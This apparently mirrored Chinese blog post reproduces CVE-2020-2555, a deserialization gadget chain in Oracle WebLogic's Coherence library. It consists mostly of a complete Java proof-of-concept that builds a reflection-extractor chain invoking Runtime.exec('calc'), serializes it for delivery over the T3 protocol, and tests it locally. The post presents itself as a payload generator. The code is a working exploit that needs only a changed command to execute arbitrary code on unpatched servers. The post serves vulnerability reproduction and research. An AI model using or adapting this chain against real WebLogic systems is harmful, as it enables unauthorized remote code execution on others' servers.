zoukankan      html  css  js  c++  java
  • CVE-2020-2555 weblogic 反序列化gadget 复现

    简介

    该反序列化的gadget存在与coherence包中。具体可以见分析

    构造chain类似于common-collection的chain,可以照葫芦画瓢。

    mvn 好像不能下载coherence包,很奇怪,直接下jar包就行。

    反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。

    poc

    package org.example;
    
    import com.tangosol.util.ValueExtractor;
    import com.tangosol.util.extractor.ChainedExtractor;
    import com.tangosol.util.extractor.ReflectionExtractor;
    import com.tangosol.util.filter.AlwaysFilter;
    import com.tangosol.util.filter.LimitFilter;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    
    /*
    Powered by UnicodeSec
     */
    
    public class App 
    {
        public static void main( String[] args ) throws IOException, ClassNotFoundException {
            ValueExtractor[] poc = new ValueExtractor[]{
                    new ReflectionExtractor("getMethod", new Object[] {
                            "getRuntime", new Class[0] }),
                    new ReflectionExtractor("invoke", new Object[] {
                            null, new Object[0] }),
                    new ReflectionExtractor("exec", new String[]{"calc"})
        };
            ChainedExtractor chained = new ChainedExtractor(poc);
            LimitFilter limit = new LimitFilter(new AlwaysFilter(), 1);
            limit.setComparator(chained);
            limit.setTopAnchor(Runtime.class);
            BadAttributeValueExpException expException = new BadAttributeValueExpException(limit);
    
            // 序列化测试
            ByteArrayOutputStream bytes = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bytes);
            oos.writeObject(expException);
            oos.close();
            //反序列化
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes.toByteArray()));
            BadAttributeValueExpException newUser = (BadAttributeValueExpException)ois.readObject();
            System.out.println(newUser.toString());
    
        }
    }
    
    

  • 相关阅读:
    dtoi2680「SDOI2016」生成魔咒
    dtoi2679「SDOI2016」游戏
    dtoi2678「SDOI2016」数字配对
    dtoi2677「SDOI2016」储能表
    dtoi4545「HNOI2016」树
    dtoi4543「HNOI2016」最小公倍数
    dtoi4544「HNOI2016」网络
    dtoi4548「HNOI2016」大数
    ts定义数组对象
    RN项目ios本地模拟机无法加载本地图片的解决方案
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/12516572.html
Copyright © 2011-2022 走看看